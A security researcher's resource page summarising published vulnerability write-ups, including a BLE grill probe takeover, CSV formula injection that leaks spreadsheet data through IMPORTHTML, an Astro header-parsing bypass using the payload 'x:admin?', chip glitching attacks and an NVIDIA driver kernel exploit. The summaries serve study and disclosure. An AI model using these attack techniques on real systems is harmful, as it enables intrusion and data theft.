Resources

People often ask me "How did you learn how to hack?" The answer: by reading. This page is a collection of the blog posts and other articles that I have accumulated over the years of my journey. Enjoy!

Hacking the Meatmeet BBQ Probe — Part 3- 1808

Julian B - Software Secured    Reference →Posted 3 Months Ago
  • The post looks at a Meatmeet BBQ Probe device and how it works. The device had two modes: one that runs directly through a mobile application and another that uses a cloud connection via passed WiFi credentials.
  • From using a BLE-Connect script they wrote in Python, they are able to see the UUIDs for each of the GATT characteristics. They grepped through the APK to get a list of files and luckily for them, the symbols were there for each one of the characteristics. So, they created a simple Python script to interact with the device for each one of the characteristics. Neat!
  • The article effectively claims that anybody can connect to the BLE device. In the various modes of BLE, there is no required pairing process; it's just simple to connect. The GATT services were likely usable without authentication at all. With other devices, even without keyboards, you typically have to "opt-in" to the process via a special set of button presses. It's weird that this wasn't the case.
  • Once you can connect to the device, it's effectively game over. The command remove_config could be used against the device to drop the configuration and add your own. The device even has over-the-air updates accessible as well. Naturally, there was no verification on the firmware either. So, it was a complete compromise of the device. They created a Botnet using this for fun. Good read!

Twitter/X Premium Account Verification Bypass Vector (of sorts): Gift Subscriptions- 1807

Its Not Nicole    Reference →Posted 4 Months Ago
  • The author of this post received an unprovoked gifted premium subscription to X/Twitter. Since moving to a paid subscription model, we all know that the requirements for "verified" have dropped drastically.
  • In many places, Twitter says an account must have a confirmed phone number and agree to the Terms of Service to become a Twitter Premium member. The gifted subscription route should theoretically go through the same requirements as the regular route.
  • The author of this post's account does NOT have a phone number linked or confirmed on their account. In fact, they haven't even confirmed their email address was 2012! They tested this with several friends and were able to replicate the issue.
  • Why does any of this matter? Privacy and transparency! This feature was rolled out in 2024, a few months before that year's election. Many of the political accounts that were "based in the US" were recently outed as being elsewhere as "fake news" because of the country indicator that was rolled out. If we take people's identities on Twitter seriously (I am the president of the United States), then this is a lapse in Twitter's security. Good post!

A heatmap diff viewer for code reviews- 1806

cmux    Reference →Posted 4 Months Ago
  • Given an open-source PR, this will do some magic to highlight potential bug-prone spots using AI. Pretty neat!

Who Needs a Blind XSS? Server-Side CSV Injection Across Support Pipelines - 1805

Hx01    Reference →Posted 4 Months Ago
  • Blind XSS is a funny bug. You launch a payload, you walk away and eventually, the exploit is triggered when somebody loads the page. This article describes a similar type of exploit but with using CSVs.
  • CSV's are used everywhere by moderen companies. Spreadsheets viewed in Excel, automation tool downloading, Salesforce reports... lots of places. If we can poison the pipeline of a web page, what if we could do the same for CSV? Depending on the parser, there are some powerful ways to call things in CSV. So, this could be used to perform a multitude of exploits, depending on the system.
  • They decided to target the usage of Google Sheets having CSV imported from it. The function IMPORTHTML is a great target because it makes web requests. By concatenating rows in the sheet to the web request, they would be able to see some of the data in the sheet. The server that received the request also logged the host, path, query, timestamp and user agent.
  • So, where do we send this data to? Initally, they tried sending it to hundreds of support and contact email addresses, technical support channels and other places along these lines. When this didn't work, they tried adding it to web forms. From this, they got some hits after 20 days.
  • The author made an interesting note: all of the callbacks were made not at ingestion but at some other process in the internal pipeline. Whether this was an internal parser for Google Sheets or a real human opening the file, it depended on the user. Exporting CSVs from Salesforce, Zendesk and Hubspot were big. Automation tools like Zapier and Workato would insert data into Google Sheets live, creating a fairly quick turnaround.
  • Who were the victims of this? A large social media platform sent them forwarded emails from a payments-support inbox. A major hotel chain sent membership application details. Even a bug bounty live hacking intake form sent personal details to them. This was reported to all of them. Most of them fixed the issue by performing input validation on the data at the point of ingestion.
  • A unique showcase into what some engineering, creativity and throwing a payload at every possible target can do. Great research!

Astro framework and standards weaponization- 1804

Zhero    Reference →Posted 4 Months Ago
  • Astro is a web framework that has gained a lot of popularity in recent years - 50K stars and 800K downloads per week. It renders components on the server side, similar to NextJS but sends lightweight HTML to the browser with no JavaScript by default. Because of it's popularity, the authors of this post decided to look into the framework more.
  • In Node's adapter function createRequest, it takes in a protocol, host name + port and path. A recent vulnerability labeled that the x-forwarded-host header was used to construct the URL without any validation. Although this was fixed, it seemed to open a pandora's box around these types of issues. Notably, x-forwarded-proto was NOT fixed. Since the protocol lives at the beginning of the URL, it's possible to use this header to change the rest of the URL being parsed.
  • This is a very powerful primitive: the real URL isn't being modified but the information being rendered is. This could lead to cache poisoning XSS or SSRF issue for all websites, which is pretty wild. Their first exploits revolves around bypassing middleware protections (similar to a bug they found in NextJS). For example, the configuration of the website redirects all users to a different path unless they are logged in as admin; this check is done via middleware. Unfortunately, it's as simple as putting data into the x-forwarded-proto and rerouting; if we do this, THIS is the final path. Time for some trickery.
  • The authors spent a lot of time looking at the WHATWG URL specification to learn about interesting edge cases. After a while, they came to the payload x:admin?. First, the parser sees the protocol x. Since there is no /, the path is parsed next - not an authority; the path is admin. If the URL is special, such as http, then the slashes can actually be skipped. http:admin? would have the domain be admin and contain an empty path name.
  • In the original code example, an exact check is performed on the path - /admin. In the case of x:admin? the path is admin! The missing forward slash creates an incorrect string comparison that allows for bypassing the verification. The question mark is required for the path in order to eat the real host and path.
  • To turn this into XSS, it relies on cache poisoning. Many CDNs do not include the presence of the x-forwarded-proto header as part of the cache key. So, if the application generates dynamic links based upon Astro.url, this can now lead to XSS. The link can be poisoned to all who access the page.
  • The bug was fixed by doing some validation on the input of the headers. However, there was another parsing issue. The validation was only ran if x-forwarded-host was included. By setting this to an empty string, JavaScript treats this as null on the check and no validation is done. Later on, the empty domain is used and concatenated with the path. By setting the path to be the domain the URL becomes controllable once again. A neat bug!
  • An amazing blog post! I loved the technical rigor of the parser and the bypassed patch as well. Both were very complicated issues to exploit but fairly obvious bugs by themselves. I'll leave with a direct quote from the article "It goes to show that sometimes it’s just a matter of timing: having the right details freshly in mind, along with the perfect situation to put them into practice."

Security through Transparency: Tales from the RP2350 Hacking Challenge- 1803

Stacksmashing and Others    Reference →Posted 4 Months Ago
  • The RP2350 by Raspberry Pi is a MicroController Unit (MCU) chip that provides a root of trust for larger systems, with tools like secure boot. This article explains the chip's security design and how it was defeated in several ways.
  • The RP2350 is a dual-core, dual-architecture MCU with on-chip SRAM and OTP fuses. The chip contains an Cortex-M33 processor that implements TrustZone-M for secure world and non-secure world computing. There are one-time programmable Fuses (OTP) for storing root-of-trust information. There is a glitch detector that runs in 4 physically separate locations that works by detecting manipulation in the clock or voltage. Finally, there is a redundancy co-processor that executes all code in parallel, ensuring deterministic execution and protection against fault injection. For further FI protections in software, there are stack canaries, instruction delays to make FI less consistent, and integer/boolean value validation.
  • The first security issue is around the reading of OTP Power-On State Machine (PSM). To prevent glitching the IPS voltage line, guard reads are in place; if a specific value isn't read before the real value, then the read must be corrupted. The OTP Power Supply (IPS) saves the read data during a power failure, as long as the power remains off. When this happens, the data are interpreted as the value on the IPS line! By carrying forward the guard word, this becomes a major problem.
  • Once the data is read out, it's written back to the OTP rows. By chance, the guard word 0x333333 is written back to the CRIT1 and CRIT2 OTP rows, changing the chip's security. This disables secure boot, bypassing the chip's security. Additionally, DEBUG_DISABLE is also disabled, giving full debug access to the chip. This issue was found by dynamically debugging the chip and observing the results. Pretty neat!
  • Much of the bootloader contains code with hardened checks that assume glitching. For instance, double-checking values, XORing magic values, and many other things are done. By reviewing the ASM of the bootloader, they found a primitive that, when specific instructions were skipped via glitching, allowed them to jump to an arbitrary location in RAM. By loading a malicious firmware into memory, this could be used to load an arbitrary binary.
  • They attempted to do these in order of least difficult. First, they used a debugger on the chip to see whether skipping these instructions would allow their attack to work. Next, they performed the attack both with and without glitch detection. Although the glitch detections prevented the attack most of the time, successful glitches still got through. They think this is because the glitch could be so minor and still succeed. Overall, an interesting attack and good discovery via code review.
  • The next attack uses laser fault injection to create localized errors not detected by the built-in defenses. Their target was the hashing process of loading in the firmware to be verified. Since QSPI flash can be swapped in, it's possible to create TOCTOU bugs on verified vs. executed firmware in conjunction with FI. They found several locations where a successful glitch caused unauthorized code to run.
  • The next attack was another quick glitch in the reading of OTP values. OTP pages are configured to be readable by the firmware but NOT by the otp commands that an attacker could run. This is done by reading the SW_LOCK fuse twice. The code performs left and right 28-bit shifts to clear the upper bits of the locked value. If the right-shift instruction is skipped, then the OTP value will have a corrupted value and the SW_LOCK write to OTP is skipped. This read is performed twice with randomized time delays, but it is still doable with an Electromagnetic fault injection setup. This allows using the OTP boot to read fuses that shouldn't be accessible.
  • The fuses are assumed to be unreadable. Their final attack is to read the fuse data directly from the fuse memory array. They found that Passive Voltage Contrast (PVC) could be used to read the antifuse bitcell memory. A little over my head, but still interesting research.
  • They have a few takeaways:
    • Effectiveness of Hardware Mitigations. Two of their techniques bypass these protections altogether, while others were able to work around the restrictions. These make the attack harder to pull off, but not impossible.
    • The Dangers of Complicated Boot Paths. Bootrom and bootloaders should be minimal to minimize the primitives for exploitation. Other features should be added to a later stage.
  • I personally really enjoyed this research paper, though I did need to learn a lot of the concepts. Still, there's a constant cat-and-mouse game between hardware protections and attackers that hasn't been resolved yet. Great read!

WTF is ... - AI-Native SAST?- 1802

Parsia    Reference →Posted 4 Months Ago
  • To answer the question in the title: It's SAST (Static Application Security Testing) + LLMs. Traditional static analysis tools are poor at detecting certain bug classes, such as authorization and business logic bugs. AI can sometimes understand code context and identify issues.
  • At the beginning, they do outline some issues with it. First, is the cost of it. Tokens are cheap because they are subsidized. However, not that cheap; there's a ton of software to analyze. Secondly, there context rot. LLMs remember data from the beginning and the end, but not as much of the middle. Finally, LLMs are not deterministic; AI may review different code in different ways each time it sees it.
  • The author sees there being four inputs for LLM native tools: main input, prompt, RAG and context. The main input is the suspected vulnerable code or code that we're trying to look at. The prompt is the objective such as "does this code have XSS in it?" RAG is a framework for retrieving data to add as context to the call with more specific information about the task, such as XSS payloads and descriptions of XSS.
  • They have a few different mechanisms for using SAST with AI. The first one is Prompt + Code - simply give the AI code and tell it to analyze it. This is simple but better than not doing it at all. This can be paired with AI analyzing pull requests or using it as a classifier/triager before passing it to a more expensive model.
  • The next mode of operation is Prompt + Agent. This is the process of prompting the AI to find issues, giving it a set of tools to work with, and coming back a few hours later to see what it's found. This is the same as the first one but asking more specific prompts on code and seeing if it can find anything interesting on the particular targets that you gave it.
  • The third one is Tailored Prompt + SAST Result. This process is simple: run a SAST tool and give AI tailored prompts based on its findings. For very tailored SAST rules, this isn't helpful. For more "hotspot" types of issues, this can significantly reduce the noise. To make the AI more useful, we can add data flow analysis to it as well.
  • The final one that raise is Agent + Code Graph + SAST MCP. The author mostly uses and recreates an existing tool called ZeroPath for this. According to them, they use Tree-Sitter to parse the function graph and then enhance the steps with AI, such as adding notes for CSRF protection. MCPs (Model Context Protocols) give AI the ability to use tools, such as SemGrep, source code reading, and many other things. They also explain Embedding Models that allow for better data retrieval than MCP.
  • According to the author, the more you hold the AI's hand with tooling, the better the results will be. We still need the static analysis tools to augment the LLMs usage, as they can't purely understand complicated code on their own yet. Overall, a good post on the state of AI and how this engineer uses it themselves.

What is the Solana Virtual Machine (SVM)?- 1801

Helius    Reference →Posted 4 Months Ago
  • This article describes the process of executing a transaction within the Solana Virtual Machine. Unlike an EVM, where execution means executing opcodes in a VM, the SVM (Solana Virtual Machine) refers to the entire execution pipeline. This article explains the SVM in great detail. They choose to analyze codebases (Agave and Firedancer clients) rather than rely on a specification.
  • The SVM has several main components:
    • Banking Stage: Orchestrates the execution of a transaction at a specific slot. Gets the information from the Transaction Processing Unit (TPU). Handles parallel execution via checking account overlaps in transactions to be executed.
    • BPF Loader: Loads and JIT compiles an sBPF program.
    • sBPF VM: The sandboxed execution environment. uses a variant of BPF. These are also system calls to leave the sandbox.
    • AccountsDB: Persistent state layer where all account data, including the running code, lives.
  • A Solana program is usually written in Rust. It expects a single entrypoint function with the ProgramID of the program itself, an array of account information, and a byte slice of data needed for the transaction. The solana-program serves as the main library for interacting with the runtime, including transferring SOL and executing syscalls. Once compiled with Rust, keeping all its invariants, the code is lowered to LLVM IR. This is then translated into eBPF for actual usage. This allows for a pre-built sandbox to be executed within Solana.
  • Solana originally forked eBPF for its own purposes but has since reverted to the original implementation. The Instruction Set Architecture (ISA) contains 11 registers and uses a RISC-like design for about 100 opcodes. There is the loaded program code, stack, heap, input data passed within the transaction, and other read-only data within defined memory regions of the VM. The execution has a verifier for illegal jumps, unhittable code paths, call depth restrictions and many other things. The runtime has many Syscalls for executing special functions for interacting with the outside world, such as logging and other contract calls.
  • The program binary, that is uploaded by the user, is simply an ELF file. It contains a bytecode section, read-only data, BSS/data, and a symbol/relocation table. To upload the code to Solana, the special BPFLoaderProgram is used. Currently, there are two accounts associated with a program: one for the actual code and another for holding metadata about it. First, all of the bytecode is written via a combination of InitializeBuffer and Write() to an account. Once this is finished, a separate instruction runs various checks, such as bytecode and ELF verification.
  • The pipeline for executing a transaction is now as follows:
    1. User signs a transaction and forwards their intent to an RPC provider for propagation and execution.
    2. The transaction is sent to the TPU on each Solana validator that received the TX.
    3. The transaction is sent to the TPU on each Solana validator that received the TX. This includes signature verification and the fetching of necessary information for execution.
    4. The banking stage performs the actual execution. This includes loading, JITing and execution, as described before.
    5. Post execution verification is the final step. This will ensure state consistency, account ownership checks, lamport checks, and more.
    6. Commit all of the account modifications to storage.
  • Overall, a great post on teaching the nitty-gritty details of the SVM. This explains much of the complexities of execution, which is much appreciated!

Oops! It's a kernel stack use-after-free: Exploiting NVIDIA's GPU Linux drivers - 1800

Robin Bastide - Quarks Lab    Reference →Posted 4 Months Ago
  • Linux contains an open source NVIDA driver in the kernel. While reviewing this, they found a null pointer dereference by simply setting the MEMORY_DESCRIPTOR on the UVM_MAP_EXTERNAL_ALLOCATION for Unified Virtual Memory Framework. Usually, this would be a crash, but it has a much more devious consequence.
  • The functions threadStateInit() and threadStateFree() functions are used cross the open-gpu-kernel-modules a lot. The thread-state structure is added to a global red-black tree during initialization and removed once it is freed. The structure is a pointer to the Stack! If there's a kernel oops then the stack would be cleaned up. The second vulnerability is a stack use-after-free triggered by the null pointer dereference from above. I imagine that the author found this issue first and then searched for a crash.
  • The kernel stack is located in the vmalloc area. Its purpose is to allocate virtually contiguous memory with page granularity. It's used for stack allocations and for large kernel allocations. The goal is to get control over this data for reads and writes via a new allocation and then use the value in as a threadState.
  • There are several locations where these can be triggered: two of note are forking and Video4linux2 buffers. The Video4linux2 buffers give the attacker control in userland, allowing for arbitrary data to be read from and written to. The forking function gives us the ability to allocation 4 pages and a guard page that will quickly be freed. Both of these together give us what we need for memory grooming. Using a combination of these, it's possible to get the section of memory belonging to the Stack for the thread state.
  • The UAF occurs at a node in a Red-Black tree. Inserting a node by opening a GPU device adds a new pointer to it for a brief moment. By continually reading the node, it's possible to leak a kernel stack address. We don't know the exact offset due to the random_kstack_offset feature, but it's a good starting point.
  • With the leak, it's now possible to place data at Stack addresses that we control within the Red-Black tree. To exploit this, the author abused the recoloring and rotations performed in the tree. Similar to unlink, it can be used to get an arbitrary write primitive with constrained locations. They couldn't find any good targets within the dynamically allocated data so they decided to target the running kernel stack instead.
  • Within the open syscall, we can calculate offsets to where we need to write to and then overwrite arbitrary values on the stack. Notably, the file pointer can be corrupted, and it contains function pointers! To get the KASLR slide, sock_from_file() can be used to access private socket data and check the file type. By triggering different errors, it's possible to leak KASLR.
  • The function handler llseek() has no checks before calling the handler on the validity of the pointer. From userland, we can control the parameters and return values. How nice! With this, it's possible to corrupt the struct file directly to achieve code execution within the kernel. With this powerful call primitive, they created three primitives: kernel symbolication, arbitrary read, and arbitrary write. With these, they overwrote the creds of a process to become root. Neat!
  • A couple of things stood out to me. First, the complexity in getting this primitive to work is off the charts; so many little details to figure out. Second, I had no idea that structures could be randomized by the kernel at build time, making remote exploitation much harder. Overall, a great and in-depth post!

Cloudflare outage on November 18, 2025- 1799

Matthew Prince    Reference →Posted 4 Months Ago
  • Recently, Cloudflare had an outage. This is a post-mortem explaining the issue. They initially thought it was a hyperscale DDoS attack, but it wasn't a malicious cyber attack of any kind.
  • Cloudflare uses all requests through the Bot Management infrastructure, which uses machine learning to generate bot scores for every request. Customers control which bots are allowed to access sites. There is a feature configuration file that is used by the machine model. This file is refreshed every few minutes and published to the entire network.
  • A recent change to the ClickHouse query behaviour made it so that there were duplicate feature rows. The query for this information did not filter by a database name. When a new database with the same name was added, multiple values were being queried. This changed the file size, causing some of the bot's modules to error.
  • The Bot Management preallocates memory. It has a limit of 60 features, but this change led to the usage of about 200 features. The features parsing code, written in Rust, contains an unwrap() that will cause the program to panic when there are more than 60 features. Bad!
  • A good post-mortem. Cloudflare claims this is the first time most web traffic has gone down since 2019. It took about 2 hours to fix it for most people, which is a pretty great turnaround time!